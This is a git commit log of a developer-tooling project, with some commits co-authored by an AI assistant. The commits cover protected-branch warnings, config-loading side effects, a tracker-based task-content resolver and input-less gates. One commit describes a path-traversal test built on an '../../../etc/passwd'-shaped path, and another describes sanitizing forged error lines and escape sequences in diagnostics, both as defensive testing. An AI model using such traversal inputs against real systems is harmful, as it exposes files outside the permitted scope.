Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01S44stkuQbhD3jTCtKzte5N

* test(#3648): add failing legacy-key hoist safety coverage

Round-2 review found normalizeLegacyKeys block 5 records a normalization
carrying the DISCARDED flat value on the canonical-wins branch. Probing
that turned up a second, unreported defect in the same helper shape:
blocks 1, 2 and 5 all spread result['git'] / result['planning'] with no
object guard, so a config whose section key holds a string is spread into
index keys —

  {"git":"main","base_branch":"release"}
    -> {"git":{"0":"m","1":"a","2":"i","3":"n","base_branch":"release"}}

The resolved value is accidentally still correct, so nothing fails and no
diagnostic fires. But normalizations.length > 0 sets configDirty, and
config-loader then serializes that shape back into the user's
config.json — a read that silently corrupts config.

The deleted #3057 W3 suite covered {"git":"main","base_branch":"release"}
explicitly; this is the input it would have caught.

Covers both defects across blocks 1 and 5, with object/array/null
negative controls that must stay green in both phases, and a fast-check
property over arbitrary `git` values.

* test(#3648): pin fail-closed handling of malformed protected_branches

Replaces the test that pinned the fail-OPEN behaviour. The old
assertion — ['develop', 42] yields isProtected === false for 'develop' —
locked in the exact failure #3552 exists to close: config-set validation
is bypassable by a direct edit of .planning/config.json, so a user who
believes 'develop' is protected got a silent false and no warning.

It was also inconsistent with the fail-CLOSED direction twelve lines
away, where an unverified base reports protected and writes a
diagnostic. A protection predicate must not have two opposite failure
directions depending on which input is bad (#3648 review Blocker 3).

New coverage: a bad element drops only itself, a non-array contributes
no names, an empty list is well-formed rather than malformed, and
--is-protected surfaces the rejection. Both negative controls — a clean
list reports nothing rejected and writes no diagnostic — must stay green
in either phase, so the reject channel cannot fire unconditionally.

* fix(#3648): drop only invalid protected_branches and report them

Partition git.protected_branches instead of discarding the whole list on
one bad element, and carry the rejections out through
ProtectedBranchStatus so --is-protected can name them on stderr. Valid
names keep protecting; the user finds out the rest were ignored.

A non-array value still contributes no names — a bare string is not a
list of branch names — but is now reported rather than swallowed. An
empty array stays silent: declaring no extra protected branches is a
valid choice, not a misconfiguration.

writeDiagnostic is hoisted out of the unverified-base branch since both
arms now use it.

* test(#3648): prove the predicate diagnostic survives both call sites

The workflow bash stub now emits a stderr diagnostic the way the real
command does, which is what makes a swallowed `2>/dev/null` visible to a
test — previously the stub was silent on stderr, so discarding it changed
no observable behaviour and the call sites could drop the explanation
undetected.

Adds the Minor 2 binding check as well: ship must expose the predicate
result as IS_PROTECTED rather than only echoing a warning, asserted by
running the extracted bash and reading the bound value, not by grepping
the workflow source.

Both tests carry opposite-outcome controls — an empty diagnostic must
leave the text absent, and a false predicate must bind false.

* fix(#3648): surface the predicate diagnostic and bind ship's result

Drop `2>/dev/null` from the --is-protected call at both call sites. The
fail-closed explanation and the new rejected-entry warning both go to
stderr, so discarding it left the user with a bare "protected branch"
warning on a branch that is not protected and no way to tell a real
match from a degraded-git guess. `git branch --show-current` keeps its
own redirect — that one is genuine noise.

ship.md binds IS_PROTECTED and its prose now branches on the variable,
so the following steps have evaluable state instead of having to infer
it from warning text in tool output.

execute-phase.md byte accounting refreshed: 92326 -> 92645, net growth
319 bytes (was 331 before the redirect came out). Baseline re-verified
against the current rebase base by blob id; the ceiling check passes
with 755 bytes of margin.

* test(#3648): restore negative space for the readFile config seam

The #3057 W3 suite was deleted with readConfigBaseBranch, but every arm
it pinned survives verbatim in readEffectiveGitConfig's readFile branch —
the JSON.parse catch, the non-object guard, the git-section object guard,
.trim() and blank-string rejection — and the four surviving readFile
injections were positive-path only. protected_branches was never driven
through this seam at all.

Restores nine cases against the seam, including protected_branches
partitioning, plus a control proving loadConfig still wins when both
seams are supplied.

Records honestly what the suite pins. Mutating the built lib shows
.trim() is KILLED, while the non-object guard and the blank-string
rejection SURVIVE — both are unreachable through this entry point for
the same reasons the deleted suite documented against its own
equivalents: a JSON-parsed non-object carries no relevant own-property
either way, and a blank value is rejected a second time downstream by
the resolver's truthiness check. They stay as defence-in-depth and are
labelled known-unkillable rather than left looking like coverage this
suite does not provide.

* test(#3648): distinguish detached HEAD from a missing branch argument

`args[1] ?? ''` collapsed two different situations into one: a detached
HEAD, where `git branch --show-current` legitimately prints nothing, and
the flag being called with no argument at all. Both answered false, so
the right outcome arrived by an unintentional path and a caller bug was
indistinguishable from normal operation.

Asserts the detached case stays silent and the missing-argument case
reports, with a control that the two diagnostics differ.

* fix(#3648): report a missing --is-protected branch argument

Answer false either way, but say so when the flag arrives with no
argument. A detached HEAD passes an explicit empty string and stays
silent, since that is a normal state rather than a misconfiguration.

* docs(#3648): state exact-name matching and per-entry rejection

isProtected is exact string equality, so a git-flow project must
enumerate every release/* and hotfix/* by name. #3552 only asked for an
integration-branch field, so the implementation satisfies the letter of
the issue while leaving its git-flow motivation partly unserved — say so
where users will meet it rather than leaving them to discover it.

Also documents the Blocker 3 behaviour change: an invalid entry is
ignored with a warning naming it and the remaining names still apply.

Both statements land in docs/CONFIGURATION.md and
gsd-core/references/planning-config.md, and the config-field-docs parity
test asserts each in both so the two cannot drift.

* refactor(#3648): extract isValidProtectedBranches for cross-surface pinning

The `git.protected_branches` check inside `cmdConfigSet` and the resolver's
per-entry filter in `git-base-branch.cts` are deliberately different shapes —
all-or-nothing on write, per-entry on read, so a hand-edited config.json cannot
fail the guard open. Nothing structural keeps their two definitions of "usable
branch name" in step.

Lifting the write-side check into a named, exported predicate lets a property
test ask both surfaces about the same value and assert they agree, which is the
fast-check gap the round-2 review flagged. No behaviour change: the predicate is
the same expression, called from the same place.

* fix(#3648): stop --is-protected rewriting the config it is asking about

`gsd_run query git.base-branch --is-protected` runs on every execute-phase and
every ship. It resolved config through `loadConfig`, whose normalize-then-write
path rewrites `.planning/config.json` whenever any legacy key normalizes — so a
boolean question was silently editing the user's checked-in config. This PR had
widened the trigger by adding a fifth normalization block (top-level
`base_branch` -> `git.base_branch`), making it fire for exactly the projects the
feature targets.

`loadConfigResolved` gains `options.persist` (opt-OUT, default true): resolution
is unchanged, only the two write-back side effects are suppressed. The predicate
passes `persist: false`; the ~30 other callers are untouched, so a legacy config
is still migrated by ordinary use.

Asserted on BYTES rather than parsed shape, because the rewrite reorders keys and
reflows whitespace even when the values are equivalent. Three tests, each with
its own control: the end-to-end CLI leaves the file byte-identical while still
answering `true` from the legacy key (proving the config WAS read); an ordinary
persisting load of the same fixture DOES change the bytes (proving the fixture
is live rather than inert); and `persist:false` vs default over one directory
returns deep-equal config while differing on the write. Reverting the one-line
`persist: false` fails the first of those and only that one.

Also from the review:

- `readEffectiveGitConfig`'s comment claimed the readFile branch routed "through
  the same precedence authority production uses". It does not, and cannot — it
  reproduces two of production's steps over a single file. The comment now names
  what the seam covers and what it does NOT (root/workstream deep merge, builtin
  and global defaults, federated merge), and the seam now applies production's
  flat-then-nested lookup so it stops disagreeing about a surviving flat key.

- The missing-argument diagnostic promised "answering false", which the
  fail-closed guard on the same call can contradict by printing `true`. It now
  states what it did with the argument and leaves the answer to stdout.

* test(#3648): re-pin block 5 on #3760's refusal contract

#3767 landed on next while this PR was in review and fixed the non-object
config-section defect properly: a present-but-non-object section now BLOCKS its
own migration — value preserved, no Normalization pushed, refusal reported via
`skipped[]` — rather than being rebuilt from a plain-object view. That supersedes
this branch's round-2 `hoistLegacyKey`, which prevented the character-key spread
but still dropped the section value silently, and which the round-3 review
correctly called out as destruction in place of corruption. The rebase drops that
commit and routes block 5 through the upstream helper.

This file's tests asserted the superseded design, so they are rewritten to pin
block 5 — `base_branch` -> `git.base_branch`, which did not exist when #3760's
suite was written — against the contract that now governs it: ordinary hoist into
an absent/null/object section, canonical-nested-wins, and refusal for each of
string/number/boolean/array sections with the exact `skipped` entry.

Two controls keep it from passing vacuously: the refusal must be scoped to block
5 (an unrelated block still normalizes in the same call), and a property over
arbitrary `git` values asserts hoist and refusal are exhaustive AND mutually
exclusive per key, that a refusal leaves both the section and the legacy key
untouched, and that a hoist manufactures no index key the input did not carry.

* docs(#3648): correct the Git Query and Config Loader module contracts

CONTEXT.md's Git Query Module still described base-branch tier 1 as a direct
`.planning/config.json` read. Since this PR it is the EFFECTIVE configuration
resolved by the Config Loader — a materially different authority, carrying the
root/workstream deep merge, flat-then-nested lookup and builtin/federated
defaults. The `--is-protected` predicate, `git.protected_branches`, and the two
invariants that distinguish the predicate from the plain query (fails closed on
an unverified base; must not write) were undocumented entirely.

The Config Loader entry now states that loading is not side-effect-free by
default and documents `options.persist`.

docs/INVENTORY.md's `git-base-branch.cjs` row carried the same stale ladder and
no mention of the predicate. `node scripts/gen-inventory-manifest.cjs --write`
was run and produced no diff: the manifest indexes roster NAMES, not row prose,
so a description edit cannot move it.

Also closes the global-defaults minor: `git.protected_branches` is inert in
`~/.gsd/defaults.json`, but so is every other `git.*` key — no branch-policy key
appears in `_globalBaseCfg` or `GLOBAL_DEFAULTS_RESOLUTION_KEYS`. That is
section-wide and predates this PR, so the fix is to state the scope where users
meet it rather than to quietly extend the resolution set for two new keys.

* fix(#3648): close four defects found by the round-4 external review

Two external reviewers (codex, antigravity/Gemini 3.1 Pro) were run adversarially
against this branch. Four findings reproduced against source; each is fixed with a
failing-first test and a control, and each fix was verified by reverting it and
watching exactly the intended test fail.

1. `persist:false` was DROPPED by the workstream fallback (codex). Blocker 1 was
   only half closed. `loadConfigResolved` re-enters itself with a bare
   `{ workstream: null }` when a workstream has no config.json of its own, and
   that literal discarded every other option — so the recursive pass ran at the
   DEFAULT persistence and rewrote the ROOT config. Reproduced: with
   GSD_WORKSTREAM=alpha and a legacy flat `base_branch`, `--is-protected`
   rewrote `.planning/config.json` despite `persist:false`. Both recursions now
   forward `options` and override only `workstream`; the explicit override still
   wins the hasOwnProperty check, so spreading cannot let `workstreamContext`
   reintroduce a workstream.

2. Both workflow call sites failed OPEN, and aborted under `set -e` (both
   reviewers, independently). `IS_PROTECTED=$(gsd_run ...)` yields an empty
   string when the query fails, so `[ "$X" = true ]` was simply false: no
   warning, no trace — a silent hole in the guard whose only job is to warn. The
   bare assignment also aborted the step under `set -e`. Both sites now degrade
   VISIBLY: `|| IS_PROTECTED=""`, then an explicit empty-string arm that says the
   check did not run. Deliberately not fail-closed — claiming "protected" on no
   evidence would warn on every branch whenever gsd-tools is unavailable.

3. `isValidProtectedBranches` and the resolver disagreed on a sparse array
   (antigravity). `.every()` skips holes; the resolver's `for...of` yields
   `undefined` for them, so `["main", , "develop"]` was accepted by config-set
   and rejected by the resolver. The cross-surface property passed only because
   `fc.array` cannot generate a hole. The predicate now indexes, and the
   generator punches holes so that axis is actually falsifiable. JSON cannot
   express a hole, so this is unreachable in production — but two definitions of
   one predicate must not contradict each other.

4. A top-level `protected_branches` silently outranked `git.protected_branches`
   (antigravity). Routing the key through `get(key, {section, field})` gave it
   flat-then-nested precedence, which is back-compat for keys
   `normalizeLegacyKeys` migrates. `protected_branches` is new in #3552 and has
   no legacy form, so that invented an undocumented alias. It now resolves
   nested-only through a new `getNested`, in production and in the test seam.
   `base_branch` keeps flat-then-nested — it HAS a legacy spelling that #3760's
   refusal path can leave behind — and a control pins that distinction.

Also narrows a CONTEXT.md claim this round introduced. The predicate fails closed
only when a git query TIMED OUT or could not be spawned (#3057 B4's `verified`);
a git command that runs and exits non-zero counts as a clean negative, so a cwd
that is not a repository answers `false`, not `true`. Verified pre-existing on
next @ 738f42f4, so the documentation was over-claiming rather than the code
regressing — but an over-broad contract is exactly what the module docs must not
carry.

Both workflow byte figures re-derived after the call-site change:
execute-phase.md 92356 -> 92865 (+509), ship.md 36784 -> 37227 (+443).

* test(#3648): pin git config read parity

* docs(#3648): document git query contracts

* fix(#3648): expose protected branch default

* test(#3648): snapshot planning tree for read-only query

* test(#3648): pin planning snapshot stray-write detection

* fix(#3648): resolve merge conflict from #3078's ack-fragment sweep

next swept the fully-spent 2818/3003 ack fragments this branch had
appended to (#3078, a84f7563). Rebased onto upstream/next and took
the deletions on both, then moved the #3552 append into a new
fragment of its own.

Rebasing onto the current base also left execute-phase.md only 34
bytes under the frozen ADR-857 Phase 6 margin ceiling (93400 bytes) —
intervening next PRs consumed the rest while this PR was in review.
Extracted the "none" arm's protected-branch-warning bash block into
gsd-core/workflows/execute-phase/steps/protected-branch.md (content
unchanged, matching the existing steps/ extraction pattern used
elsewhere in this file) so the inline growth is a one-line pointer
instead of the full block. 93366 -> 93385 bytes (+19), 15 bytes
inside the ceiling.

* fix(#3648): drop stale ack entry for the new step file

The extracted execute-phase/steps/protected-branch.md needed no
acknowledgment of its own — the differential-attribution check flagged
the entry as stale once the build ran, so removed it and kept the two
growth entries (execute-phase.md, ship.md) that actually needed one.

* fix(#3648): follow the step-file reference in the bash-extraction test helper

extractProtectedBranchWarningBash() read the "none" arm's bash block
directly out of execute-phase.md. That block now lives in
execute-phase/steps/protected-branch.md (byte-ceiling extraction);
the helper follows the step-file reference and extracts from there
when no inline block is found, so the three execute-phase tests that
execute this bash for real keep exercising the actual behavior.

* fix(#3648): regenerate INVENTORY-MANIFEST.json and satisfy the CRLF-fragile lint rule

- gen-inventory-manifest.cjs --write to pick up the new
  execute-phase/steps/protected-branch.md entry (already covered by
  docs/INVENTORY.md's generic workflow_steps wildcard row, so no
  INVENTORY.md edit is needed).
- Reworked the step-file-reference lookup in
  extractProtectedBranchWarningBash() to avoid a bare-\n regex split
  on file content (local/no-crlf-fragile-split), using the same
  line-array scan the function already uses elsewhere.

* fix(#3648): regenerate golden install-tree fixtures for the new step file

npm run gen:install-tree, adding gsd-core/workflows/execute-phase/
steps/protected-branch.md to all 19 runtime install-tree fixtures.
CI's tests/golden-install-tree.test.cjs caught this on push — I'd
verified the differential-attribution and INVENTORY-MANIFEST checks
but missed this separate golden-fixture check for the new file.

* fix(#3648): add the canonical gsd_run preamble to the new step file

CI's runtime-launcher-parity suite requires exactly one canonical
resolver preamble in every workflow .md that calls gsd_run. The
inline "none"-arm block never needed one (execute-phase.md already
carried a preamble elsewhere in the same file), but the extracted
execute-phase/steps/protected-branch.md is now its own file with no
preamble of its own. Ran node scripts/sync-runtime-launcher.cjs to
insert it (execute-phase.md itself is untouched — still 93385 bytes,
inside the ADR-857 ceiling).

That preamble defines its own gsd_run(), which shadows the mock
tests/git-base-branch.test.cjs injects for the three #3648 tests that
execute this bash for real — without stripping it, those tests reached
the real gsd-tools.cjs on the machine running them instead of the
test's fixture. Preamble correctness is already covered by
tests/runtime-launcher-parity.test.cjs, so extractProtectedBranchWarningBash()
now strips the preamble line before handing the block to the harness;
it only needs to exercise the #3552 warning logic.

* fix(#3552): address PR 3648 review feedback on protected branch warnings

- Fix execute-phase handle_branching branching_strategy=none instruction
  to "Read and execute execute-phase/steps/protected-branch.md"
- Use io.error(..., ERROR_REASON.USAGE) for cmdGitBaseBranch usage errors
- Align git.protected_branches schema default to (none) without fallback []
- Relocate CONTEXT.md forward-referencing sentence into module body
- Sanitize control and ANSI characters in renderRejected diagnostics
- Clean up out-of-scope whitespace hunks in gsd-tools.cjs

Emitted-Drift-Ack-Growth: execute-phase.md — #3552: execute-phase handle_branching adds a pointer to execute-phase/steps/protected-branch.md for branching_strategy=none so the protected-branch check executes while keeping execute-phase.md within the ADR-857 Phase 6 margin ceiling (93400 bytes). 93392 bytes, 8 bytes inside the ceiling.
Emitted-Drift-Ack-Growth: ship.md — #3552: ship preflight step 3 now asks the same typed git.base-branch --is-protected predicate as execute-phase, binding IS_PROTECTED and warning without refusing execution or blocking the branching_strategy=none feature-branch offer; it degrades visibly (rather than silently reading an empty result as "not protected") when the query itself fails to run. 36841 bytes, well inside the XL cap (98304, tests/workflow-size-budget.test.cjs).

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Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-29 17:00:52 -04:00
Tom Boucher
400db94e02 fix(#3894): quick path honors workflow.research_before_questions; key resolves from global defaults (#4047)
* test(#3894): research_before_questions must resolve globally and order quick.md (failing first)

* fix(#3894): quick path honors workflow.research_before_questions; key resolves from global defaults

Two layers, one key. The quick workflow ran its discussion phase
before its research phase unconditionally — neither quick.md nor its
steps ever read workflow.research_before_questions, though the key is
documented, schema-registered, /gsd-settings-writable, and honored by
/gsd-discuss-phase and /gsd-new-project. A gray-area answer given
without research is then written to <quick_id>-CONTEXT.md as a locked
decision downstream agents are told not to revisit — an evidence-free
choice made unfalsifiable (the reporter's #3714 misresolution).

- quick.md Step 4 now carries the same research-before-questions check
  the two honoring paths make: when enabled, research-phase executes
  before discussion-phase; false/unset keeps the written order. Both
  sections stay section-manifest gated.
- src/config-loader.cts forwarded workflow.post_planning_gaps from
  ~/.gsd/defaults.json but silently dropped this key — same file, same
  nesting, one resolved and one didn't. Now forwarded with the same
  flat + nested-alias fallback shape, added to the resolution-keys
  lockstep canary and the #3532 shadowed-warning set (nested alias
  reporting generalized over both keys).

Emitted-Drift-Ack-Growth: quick.md — #3894: +Step 4 ordering rule (the research-before-questions check the discuss-phase and new-project paths already make); a real behavioral gate, not incidental bloat.

* fix(#3894): review fold-ins — gate the CONTEXT.md reference, colon slash-forms

- quick/steps/research-phase.md directed the researcher subagent to read
  <quick_id>-CONTEXT.md under DISCUSS_MODE with no existence hedge — but
  under the new ordering (research BEFORE discussion) the file cannot
  exist yet when the researcher is dispatched. The reference now says
  read-only-if-present with the #3894 reason; the alignment purpose
  still applies on the default ordering.
- quick.md's new rule used the hyphen slash forms (/gsd-discuss-phase,
  /gsd-new-project); source artifacts under gsd-core/workflows must
  author the colon form the install-time converters key on — the same
  file already uses /gsd:new-project and /gsd:quick elsewhere.

* docs(#3894): planning-config row names the flat CONFIG_DEFAULTS alias

config-field-docs requires every CONFIG_DEFAULTS key to appear in the
doc; the row documented the canonical namespaced form only. Adds the
same alias sentence post_planning_gaps's row carries, plus the #3894
quick-path note.

* chore(#3894): changeset fragment (pr number backfilled after PR creation)

* chore(#3894): backfill changeset PR number (4047)

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Co-authored-by: sim <sim@local>
2026-08-29 13:51:42 -04:00
Tom Boucher
51ca9f39ba fix(#3801): register inline_plan_threshold in the defaults manifest and correct the docs (#4019)
* fix(#3801): register inline_plan_threshold in the defaults manifest (default 2) and correct settings-advanced

* chore(#3801): changeset fragment (pr number backfilled after PR creation)

* chore(#3801): backfill changeset PR number (4019)

* test(#3801): parse the defaults table with the shared markdown-table parser

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Co-authored-by: sim <sim@local>
2026-08-28 23:48:42 -04:00
Tom Boucher
ac3668e4b7 fix(#3797): make the roadmapper's role, output, and checklist match its write-first execution flow (#4008)
* test(#3797): the roadmapper must follow one write-first contract

* fix(#3797): make the roadmapper's role, output, and checklist match its write-first execution flow

The roadmapper contradicted itself: role blurb, output format, and
completion checklist described an approve-first flow while its execution
flow said "Write Files Immediately" with reactive-only revision (#3797).
The approval gate belongs to the ORCHESTRATOR — both callers read the
written ROADMAP.md, present it, and gate on approval (with an auto-mode
bypass a subagent cannot host) — so write-first is the contract.

All approve-first text now describes the write-then-return reality, the
old "Draft Presentation Format" (whose ## ROADMAP DRAFT header matched no
orchestrator branch) is folded into the ## ROADMAP CREATED structured
return as a preview block, and the duplicate checklist lines are merged.
A structural guard pins the single contract.

Emitted-Drift-Ack-Growth: gsd-roadmapper.md — #3797: +bytes — approve-first wording replaced with write-first descriptions; the DRAFT presentation template folded into the ROADMAP CREATED return as a preview block

* chore(#3797): changeset fragment (pr number backfilled after PR creation)

* chore(#3797): backfill changeset PR number (4008)

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Co-authored-by: sim <sim@local>
2026-08-28 15:55:55 -04:00
Tom Boucher
dd4f179672 feat(#3970): per-task external-tracker content-resolution seam (#4000)
* feat(#3970): per-task external-tracker content-resolution seam

Implements ADR-3646 (Phase 1, #3970): a `<task tracker-id="...">` attribute
plus a new optional `taskContentResolver` capability-manifest field let a
capability resolve a task's action/verify/acceptance-criteria/read_first/done
content from an external issue tracker instead of PLAN.md's inline body.

- src/plan-document.cts: parses the `tracker-id` attribute into `PlanTask.trackerId`
- src/task-content-resolution.cts: new leaf module — split/find/build/resolve,
  with a hard-halt (throw) contract on ambiguous/failed/timeout/malformed
  resolution, never a silent fallback to possibly-stale inline text
- src/task-command-router.cts: new `task resolve-content --plan --task-id --raw`
  CLI verb wiring the module into a real process exit code
- gsd-core/bin/lib/capability-validator.cjs: validates the new
  `taskContentResolver` manifest field (feature-role only, cross-capability
  trackerPrefix uniqueness)
- gsd-core/workflows/execute-plan.md, gsd-core/references/loop-hook-dispatch.md,
  docs/reference/capability-manifest.md: wire the seam into the per-task loop
  and document it as a new `execute:task` point outside the existing
  contribution/step/gate vocabulary (unconditional in autonomous mode)

Closes #3970

* fix(#3970): gate checkpoint tasks out of content resolution, close trackerPrefix grammar parity gap, cover path-traversal guard

Standards/Spec code-review pass on the task-content-resolution seam (ADR-3646
Phase 1) found three defects:

1. execute-plan.md's task-content-resolution bullet fired on any
   tracker-id-bearing task with no check that it wasn't type="checkpoint:*",
   contradicting ADR-3646 Decision 1 (a checkpoint task must never enter
   resolve-content). plan-document.cts already parses trackerId: null
   unconditionally for checkpoint tasks; only the workflow prose needed the
   fix, so the bullet now explicitly excludes checkpoint tasks.

2. task-content-resolution.cts's parseResolverDeclaration accepted any
   non-empty trackerPrefix with no grammar check, while capability-
   validator.cjs's KEBAB_RE enforces kebab-case at install time — a
   Generative Fix Divergence gap. Added the same grammar (as a literal
   regex, documented as intentionally not shared across the .cts/.cjs build
   boundary) plus a parity test asserting the two surfaces agree across a
   valid/invalid trackerPrefix table.

3. task-command-router.cts's routeResolveContent path-traversal guard on
   --plan had zero test coverage. Added a test exercising a
   ../../../etc/passwit-shaped path and asserting the USAGE rejection names
   the offending path.

* fix(#3970): sanitize resolver diagnostics and cap resolver timeoutMs

Two findings caught by an isolated security-review pass on the task
content resolution seam:

- ResolverFailedError/ResolverMalformedOutputError embedded raw,
  unsanitized subprocess stderr/stdout (attacker/model-influenced via
  the tracker-id argv token) into .message. A hostile or buggy resolver
  could smuggle a newline plus a forged "Error: " line, or terminal
  escape sequences, into a diagnostic io.cjs's error() writes verbatim
  to stderr. Fixed at the constructor (task-content-resolution.cts) via
  io.cjs's existing formatDiagnosticToken(), so every caller of
  resolveTaskContent gets a safe .message by construction.

- capability-validator.cjs's validateTaskContentResolverFields had no
  upper bound on taskContentResolver.invoke.timeoutMs, letting a
  manifest declare an effectively unbounded value and defeat the
  "bounded subprocess" design intent. Added a 120000ms ceiling specific
  to this field, without touching the shared isPositiveIntegerMs()
  helper (still used unbounded by the reviewer lane's timeoutFloorMs
  and probe timeoutMs).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3970): fix gsd-test failures — stale prose allowlist line and stderr-vs-message assertion

gsd-test (remote dockerized matrix) came back red with 5 failures on this
PR; all five are real defects, fixed here.

- tests/no-bare-gsd-tools-command-position.test.cjs: PROSE_ALLOWLIST's
  execute-plan.md entry pointed at line 415, which ffc190df4's
  checkpoint-exclusion caveat (added near line 221) shifted down by one
  line. The actual "validated downstream by gsd-tools uat
  classify-coverage" descriptive mention now sits at line 416. Updated
  the allowlist entry's line number to match.

- tests/task-command-router-resolve-content.test.cjs: the path-traversal
  test asserted the outside-project-scope diagnostic against the thrown
  ExitError's own .message. io.cts's error() (ADR-3889) writes its
  human-readable message to fd 2 via writeAllSync and then throws a bare
  `new ExitError(1)` with no message argument — by design, so the
  exception carries no duplicate text and the thrown ExitError's message
  defaults to "process exit 1" (cli-exit.cts's ExitError constructor).
  Root cause was the test, not the source: task-command-router.cjs's
  outside-project-scope rejection already calls error() correctly and the
  diagnostic text is genuinely emitted, just on fd 2, not on the
  exception. Fixed the test to capture fd-2 writes (mirroring
  tests/estimate-calibrate.test.cjs's runCalibrateExpectError and this
  same file's own captureStdout for fd 1) and assert against the captured
  stderr text instead of err.message. This was masked locally because a
  manual `node -e` sanity check that only inspects the caught exception's
  .message cannot see what the real node:test run actually failed on.

Emitted-Drift-Ack-Growth: execute-plan.md — adds the ADR-3646 task-content-resolution bullet and checkpoint-exclusion caveat to the per-task execute loop; a real behavioral prose addition, not incidental bloat.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#3970): backfill changeset PR number (pr:0 -> pr:4000)

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Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-08-28 13:17:04 -04:00
Tom Boucher
03b7125293 enhance(#3909): a probe that could not run no longer asserts a verdict (#3944)
* test(#3909): failing-first suite for the fabricated probe fallbacks

Binds the four fabrication sites found by executing the surfaces (ADR-3889
failure class (c)), each with a positive control so an over-firing fix goes red:

- the blocking api-coverage.verify-pre gate certifying "no external-API
  integration" from a zero-byte phase scope
- the assumption-delta query route scanning an unresolvable phase section as
  the empty string and reporting it as an examined negative
- both capability fragments' probe fallbacks, which append a fabricated
  verdict rather than replacing, and fire on the legitimate exit-1 negative

Verification runs on the remote runner.

Refs #3909

* enhance(#3909): a probe that could not run no longer asserts a verdict

ADR-3889 Phase 5. Four sites turned a failed or unexamined probe into a
confident negative; each now reports what it could not establish.

- check api-coverage.verify-pre: a phase with no plan body and no roadmap
  section ran detection over zero bytes and PASSED the blocking seal gate,
  certifying "no external-API integration" from input it never read. It now
  holds with scope_unavailable. The discriminator is bytes examined, never
  signals found, so a phase whose plans are real and simply carry no API
  vocabulary passes exactly as before.
- query assumption-delta scan: an unresolvable phase section was scanned as
  the empty string and reported as an examined negative. It now returns
  {skipped, reason: phase_unresolved}, still at exit 0 — an ADR-2980 degraded
  result in the payload, leaving the gsd-tools exit projection to P8.
- both capability fragments: `|| echo '{"detected":false}'` appended rather
  than replaced, and fired on the legitimate exit-1 negative, so a correct
  answer and an honest skip both arrived as two concatenated objects. They now
  keep the probe's own payload and manufacture only an explicit
  probe_unavailable skip when the probe produced nothing at all.

Every registered outcome is more restrictive on a blocking gate, so this can
turn a false green red and never a red green.

Docs: FEATURES 156, CONFIGURATION (both keys), references/api-coverage.md
seal-time outcome table, and a new how-to for the reason-code vocabulary.

Verification runs on the remote runner.

Closes #3909

* test(#3909): correct the stale unknown-phase assertion

`unknown phase → detected:false, no throw (graceful)` scanned phase 999
against a two-phase roadmap and asserted `detected === false`. That pinned
the fabrication as intended behavior: the phase does not exist, so the
detector was handed the empty string and its "no core assumption changed"
answer described nothing that was ever read.

It now asserts the skipped-with-reason shape. The graceful-degradation
contract the test was actually protecting — the query succeeds and does not
throw on an unknown phase — is unchanged.

Found by code review, not by the author.

Refs #3909

* docs(#3909): author the FEATURES entry in its generator source

`docs/FEATURES.md` is generated by `scripts/gen-features.cjs` from the
per-feature fragments in `docs/features/`. The API-coverage entry was edited
in the generated file, so the next regeneration silently dropped it.

The text now lives in `docs/features/api-coverage-gate.md` and
`docs/FEATURES.md` is regenerated from it, leaving the shipped file
byte-identical and its content actually derivable.

Caught by `lint:generated-sync`.

Refs #3909

* test(#3909): bind the skip to "not found", and pin the discriminator

The first verification run went red on one case, and the case was wrong
rather than the code.

`getRoadmapPhaseWithFallback` returns `null` for an unknown phase and for a
missing ROADMAP.md, but for a section whose body is whitespace-only it returns
the heading line alone — which is not empty. So a body-less section WAS found,
and reporting `detected:false` over its heading is a real negative, not a
fabrication. The test had assumed the resolver yielded `''` there.

Correcting the test rather than the resolver keeps `skipped` bound to the
distinction the issue asks for — found versus not found — and avoids diverging
`assumption-delta scan` from `roadmap.get-phase`, which the fragment documents
as sharing one resolver.

Also adds the seeded property the test matrix had promised: for any plan body,
the scope read back is whitespace-only exactly when the body was. That pins the
gate's discriminator to bytes examined, so it cannot quietly become "no signals
found", across unicode whitespace and CRLF.

`docs/INVENTORY.md` picks up the reference doc's new seal-time outcome table —
surfaced by the co-change gate, not by a lint failure.

Refs #3909

* chore(#3909): backfill the changeset PR number

Refs #3909

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Co-authored-by: sim <sim@local>
2026-08-27 15:50:12 -04:00
Tom Boucher
c5f2b94b27 enhance(#3907): gates report no-input instead of a verdict they never reached (#3932)
* feat(#3907): gates report no-input instead of asserting a verdict they never reached

The three stdin-reading gates bound 2 to a stdin read error only, with no arm for stdin closed at zero bytes - so empty input flowed into the detector, found nothing, and exited 1, which each module's own comment defines as a negative verdict. An unset PHASE_SECTION made the UI gate assert the phase has no UI. Empty and whitespace-only input now exit NO_INPUT, and a read error exits UNAVAILABLE rather than a locally-invented 2, both resolved through the registry and delivered by terminateNow.

The exit code was only half of it: under --json the same input emitted {detected:false}, byte-identical to the fabricated payload #3909 exists to fix, and the blocking coverage gate reads that payload. Empty input now emits the in-tree {skipped:true,reason} form with no detected key at all.

teams-status is excluded: it never reads stdin and has no invented 2, so the four-module framing in the issue and ADR is wrong. The dead root bin/lib/ui-safety-gate.cjs is deleted - no installer reference, no workflow invocation, and the live fallback chains are for other modules. Its removal restores the unit tests to the module that actually ships; they had been asserting the stale copy's two-field shape, which is why it drifted unnoticed.

* fix(#3907): drive gate tests through the process seam, and make removed-but-needed basename-precise

CONTRIBUTING requires every subprocess go through tests/helpers/process-seam.cjs; two of the three gate suites hand-rolled spawnSync while the third, added in the same change, used runNode correctly for the identical injection case. Converted the blocks this change added, leaving pre-existing ones alone.

Deleting one of two files sharing a basename made lint-removed-but-needed report 14 references that were all to the surviving canonical module - the false-positive class its own docstring names. It now matches on the deleted file's full path when a surviving file shares its basename, which is more precise rather than weaker: a genuine full-path reference still fails, and behaviour is unchanged when no basename collides. It immediately caught a docstring on this branch that spelled the deleted path.

* test(#3907): update the one existing assertion that pinned the old empty-stdin verdict

A pre-existing test asserted exit 1 on empty stdin - the defect this phase removes - and was missed because the change added new blocks without auditing existing ones pinning the old contract. Audited the rest: the other three status-1 assertions in that file all feed real input and are the genuine-negative controls that must keep returning 1, so exactly one was stale. The retired 2 is gone from the describe's contract comment too.

* chore(#3907): backfill changeset pr number

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Co-authored-by: sim <sim@local>
2026-08-27 11:37:31 -04:00
Tom Boucher
